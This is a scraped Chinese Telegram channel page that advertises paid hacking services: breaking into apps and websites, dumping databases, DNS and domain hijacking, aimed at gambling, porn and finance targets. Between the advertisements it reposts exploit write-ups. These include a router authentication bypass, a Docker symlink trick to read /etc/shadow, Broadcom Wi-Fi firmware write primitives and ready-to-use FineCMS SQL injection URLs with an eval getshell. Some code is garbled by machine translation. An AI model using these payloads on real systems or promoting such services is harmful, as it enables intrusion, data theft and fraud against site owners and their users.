黑客渗透 金融劫持 BC域名跳转
17.8K subscribers
1.79K photos
19 videos
2 files
162 links
金融股民渗透国内app,海外网站app,入侵后台,脱裤数据库, dns劫持 服务器进入等等
破解网站app软件技术等等 黑客技术咨询
@hacker_HouZiM
Download Telegram
拿到 UploadFile.class.php,部分代码如下:
从头部加密信息来看,是用的 PHPJiaMi,看到代码里面有 eval,那这种方式解密成功率就很大了。
直接解该文件没成功,说明存在调用才会解密的情况,从 index.php 里发现了调用的代码。
 if($_FILES) {
include 'UploadFile.class.php';
$dist = 'upload';
$upload = new UploadFile($dist, 'upfile');
$data = $upload->upload();
}
?>

把原来的 index.php 拿过来,我们需要在上面2中的代码前构造表单里的变量,让它能成功执行,所以我们最终的 index.php 是这个样子
 <?php
$_FILES["upfile"] = array(
"name" => "1303.jpg",
"type" => "image/jpeg",
"tmp_name" => "/tmp/php/phpSDsuf7",
"error" => 0,
"size" => 1024
);
// 上面的代码是加的
if($_FILES) {
include 'UploadFile.class.php';
$dist = 'upload';
$upload = new UploadFile($dist, 'upfile');
$data = $upload->upload();
}
?><!DOCTYPE html>
<html>
....后面省略

然后把 index.php 和 UploadFile.class.php 打个 zip 包, 注意 index 所在的目录不要打包进去
$ zip -r mytest.zip index.php UploadFile.class.php

把 mytest.zip 上传后,如果出现解密失败,点后面的重试,就能看到结果了。

渗透爬虫软件 资源采集 劫持域名 提取抓料子 六合·色站·彩票·博彩·金融 接渗透拿站,各大网站数据-拖库-提权联系 域名劫持 DNS 入侵网站 联系:@hacker_HouZiM
程序通过判断文件名来对请求进行不同的处理。跟进 handlePhpCgi 后可以看到对请求参数、请求头进行解析后将执行权交给 php,解析过程如下:
对参数进行解析后,将其储存以键值对的形式(_TYPE_KEY=VALUE,TYPE 为 GET、POST、SERVER),并以 \n 分隔储存到一字符串中,调试如下:
然后进行认证检查,将检查的结果赋值给 AUTHORIZED_GROUP 并保存到字符串中作为全局变量传递给 php:
在整个解析流程中并没有对参数中的 \n 进行过滤,所以如果通过注入 \n 进而注入 AUTHORIZED_GROUP 就可以绕过认证检查,未经授权执行 php 脚本。
在认证通过后程序获取 $_POST["SERVICES"] 参数,将其拼接到字符串中进行包含。/htdocs/webinc/getcfg/ 目录(也可以通过 ../ 跳转目录)下为路由的配置文件,比如 DEVICE.ACCOUNT.xml.php 中保存着路由的管理密码:

渗透爬虫软件 资源采集 劫持域名 提取抓料子 六合·色站·彩票·博彩·金融 接渗透拿站,各大网站数据-拖库-提权联系 域名劫持 DNS 入侵网站 联系:@hacker_HouZiM
当应用程序尝试加载已注册的类scrobj.dll时,该类会被加载到内存中。COM 运行时会请求所需类的新对象,这会导致 WSC 运行时返回注册表查找实现脚本文件的 URL。然后,WSC 运行时加载该脚本文件,并在进程内执行其中包含的嵌入式脚本。关键在于,只要 scrobj.dll(以及任何关联的脚本语言库,例如JScript.dll )在 VBOX 看来是有效的已签名 DLL,那么脚本代码就会运行,因为它永远不会被加固代码检查。这将导致任意代码在加固进程内运行。首先,让我们检查一下 scrobj.dll 是否可能被 VBOX 允许加载。以下屏幕截图显示该 DLL 既由 Microsoft 签名,也属于TrustedInstaller所有。
那么,一个有效的 Scriptlet 文件是什么样的呢?它是一个简单的 XML 文件,我不会详细解释每个 XML 元素的含义,只会指出其中的脚本块,它会执行任意的 JScript 代码。在这个例子中,Scriptlet 加载后只会启动计算器进程。

渗透爬虫软件 资源采集 劫持域名 提取抓料子 六合·色站·彩票·博彩·金融 接渗透拿站,各大网站数据-拖库-提权联系 域名劫持 DNS 入侵网站 联系:@hacker_HouZiM
通过搜索 banner,我找到了这个网站的源代码:https://github.com/bearice/tunnel-manager/blob/master/src/API.hs。
通过阅读源码,我发现了一个比较有意思的未公开 API:
tunnelLogs :: String -> IO String
tunnelLogs name = do
   let path = flags_dataDir </> name <.> "log"
   sh $ "tail " ++ escape path

...

get "/tunnel/:name/logs" $ do
 name <- param "name"
 logs <- liftIO $ tunnelLogs name
 text $ L.pack logs

在调用这个 API 时,会读取 /data/:name.log。再看看创建 Docker 时候:
注意这一行:
,"-v "++flags_dataDir++":/data", portDef, flags_image

由于这个 API 运行在容器外,但是容器内的 /data 可以操控,于是通过创建软链接即可读取到容器外的文件。
在容器内:
root@fff2:/data# rm fff.log && ln -s /etc/shadow fff.log
ln -s /etc/shadow fff.log

接着访问 logs:
Bingo,至此通过 Docker 配合 API 的文件读取完成。

渗透爬虫软件 资源采集 劫持域名 提取抓料子 六合·色站·彩票·博彩·金融 接渗透拿站,各大网站数据-拖库-提权联系 域名劫持 DNS 入侵网站 联系:@hacker_HouZiM
任何实际的身份验证(例如使用 WPA2 等协议实现)都发生在关联序列之后。由于关联序列中没有真正的身份验证环节,因此可以使用 MAC 地址和 SSID 冒充任何接入点 (AP)。STA 只有在后续的身份验证阶段才能识别出伪造的 AP。这使得关联序列中的任何漏洞都极具价值。攻击者如果发现关联过程中的漏洞,就可以嗅探受害者的无线探测请求,冒充 STA 正在寻找的 AP,然后触发漏洞而无需经过任何身份验证。
在查找漏洞时,我们得益于博通代码高度模块化的设计,它处理了 802.11 系列的不同协议以及固件本身的不同功能。本例中主要相关的函数是 wlc_attach_module,它将每个不同的协议或功能抽象为一个独立的模块。wlc_attach_module 调用的各种初始化函数的名称极具指示意义。以下是一些示例代码:
prot_g = wlc_prot_g_attach(wlc);
wlc->prot_g = prot_g;
如果 (!prot_g) {
  转到失败;
}
prot_n = wlc_prot_n_attach(wlc);
wlc->prot_n = prot_n;
如果 (!prot_n) {
  转到失败;
}
ccx = wlc_ccx_attach(wlc);
wlc->ccx = ccx;
如果 (!ccx) {
转到失败;
}
amsdu = wlc_amsdu_attach(wlc);
wlc->amsdu = amsdu;
如果 (!amsdu) {
转到失败;
}

每个模块初始化函数都会安装处理程序,这些处理程序会在接收或生成数据包时被调用。这些回调函数负责解析接收到的数据包中与特定协议相关的上下文,或者为传出的数据包生成与协议相关的数据。我们主要关注后者,因为这是解析攻击者控制数据的代码,所以这里相关的函数是 wlc_iem_add_parse_fn,其原型如下:
void wlc_iem_add_parse_fn(iem_info *iem, uint32 subtype_bitfield,
uint32 iem_type,callback_fn_t fn,void *arg)

这里第二个和第三个参数尤为重要。`subtype_bitfield` 是一个位域,其中包含解析器所处理的不同数据包子类型(例如探测请求、探测响应、关联请求等)。第三个参数 iem_type 包含解析器所处理的 IE 类型。
wlc_iem_add_parse_fn 函数由 wlc_module_attach 中的各种模块初始化函数调用。通过编写一些代码来解析传递给它的参数,我们可以创建一个列表,列出关联序列每个阶段调用的解析器。通过将搜索范围缩小到此列表,我们可以避免在与我们无关的代码区域查找错误:这些区域仅在用户完成与接入点 (AP) 的完整关联和身份验证过程后才会出现。我们可能在这些区域中发现的任何错误都将无法满足我们最重要的标准——无需用户交互即可触发。

渗透爬虫软件 资源采集 劫持域名 提取抓料子 六合·色站·彩票·博彩·金融 接渗透拿站,各大网站数据-拖库-提权联系 域名劫持 DNS 入侵网站 联系:@hacker_HouZiM
1
我们首先来看一下如何实现写入原语。溢出的结构体类型为 wlc_pm_st,用于处理电源管理状态,包括进入和退出省电模式。该结构体定义如下:
从漏洞利用的角度来看,该结构体中的四个成员尤其值得控制:类型为 wl_timer 的 pspoll_timer 和 apsd_trigger_timer,以及类型为 wlc_hwtimer_to_t 的 pm2_rcv_timer 和 pm2_ret_timer。我们先来看后者。
在处理数据包并触发溢出后,会调用函数 wlc_hwtimer_del_timeout,并接收 pm2_ret_timer 作为参数:
从代码可以看出,通过覆盖 newto 的值并使其指向攻击者控制的位置,可以将 next->timeout 指向的内存位置的内容递增 newto->timeout 的值。这相当于一个“写任意内容”的原语,但其限制在于必须知道被覆盖内存位置的原始内容。
通过使用 struct wl_timer 类型的 pspoll_timer 成员,可以实现限制较少的写入原语。该结构体由关联过程中定期触发的回调函数处理[c]
如函数末尾所示,我们在这里使用了一个更加便捷的写入原语。实际上,我们可以将存储在 field_1c 中的值写入存储在 field_18 中的地址。这样,我们就可以向任何内存地址写入任意值,而不再受限于之前使用的写入原语。
下一个问题是如何利用我们的写入原语实现完整的代码执行。为此,我们将考虑两种方法:一种方法需要我们预先知道固件内存地址(或者通过多次使芯片崩溃来暴力破解这些地址),另一种方法实现起来更困难,但对内存地址的要求最低。我们首先来看第一种方法。
为了实现写入原语,我们需要用我们控制的内存地址覆盖 pspoll_timer。由于 wlc->current_wmm_ie 和 wlc->ps 的地址对于给定的固件版本是已知且一致的,并且我们可以完全覆盖它们的内容,因此我们可以将 pspoll_timer 指向这些对象中的任何位置。对于创建一个伪 wl_timer 对象,wlc->current_wmm_ie 和 wlc->ps 之间的未使用区域是理想的选择。将我们的虚拟定时器对象放置在那里,我们将使 field_18 指向我们要覆盖的地址(偏移量减去 14),并使 field_1c 保存我们要用来覆盖该内存的内容。触发覆盖后,我们只需等待定时器函数被调用,它就会自动执行覆盖操作。

渗透爬虫软件 资源采集 劫持域名 提取抓料子 六合·色站·彩票·博彩·金融 接渗透拿站,各大网站数据-拖库-提权联系 域名劫持 DNS 入侵网站 联系:@hacker_HouZiM
通过安全码,从data2函数进入list_tag函数,设置action=relatedaction=formaction=memberaction=module
这4部分有一个通用的$system['field'],这部分其实稍微有点儿奇怪,没做任何过滤就被直接拼接进入了SQL语句。
PoC
每一个action进入语句的条件都不一定,这里贴上4个payload
http://finecms.com/index.php?c=api&m=data2&auth=820686a208b89d4c2f8b6f2622eff83e&param=action=related%20module=news%20tag=1%20field=1%0aunion%0aselect%0auser()%23
http://finecms.com/index.php?
c=api&m=data2&auth=202cb962ac59075b964b07152d234b70&param=action=form%20fo
rm=1%20field=1%0aunion%0aselect%0auser()%23
http://finecms.com/index.php?
c=api&m=data2&auth=202cb962ac59075b964b07152d234b70&param=action=member%20
field=1%0aunion%0aselect%0auser()%23
1
http://finecms.com/index.php?c=api&m=data2&auth=820686a208b89d4c2f8b6f2622eff83e&param=action=module%20form=1%20module=news%20field=1%0aunion%0aselect%0auser()%23

eval injection导致的getshell(CVE-2017-11585)
Technical Description:
在list_tag函数中事实上产生的问题更多,当action=cache的时候
这部分其实触发挺简单的,只要保证每个步骤都存在就可以了,name这里需要设置MEMBER,我们可以跟过去看看_cache_var函数
public function _cache_var($name, $site = SITE_ID) {

$data = NULL;
$name = strtoupper($name);

switch ($name) {
case 'MEMBER':
$data = $this->ci->get_cache('member');
break;
case 'URLRULE':
$data = $this->ci->get_cache('urlrule');
break;
case 'MODULE':
$data = $this->ci->get_cache('module');
break;
case 'CATEGORY':
$site = $site ? $site : SITE_ID;
$data = $this->ci->get_cache('category-'.$site);
break;
default:
$data = $this->ci->get_cache($name.'-'.$site);
break;
}

return $data;
}

只要保证有返回就好了,最后进入eval语句,要保证语法正确。

渗透爬虫软件 资源采集 劫持域名 提取抓料子 六合·色站·彩票·博彩·金融 接渗透拿站,各大网站数据-拖库-提权联系 域名劫持 DNS 入侵网站 联系:@hacker_HouZiM
1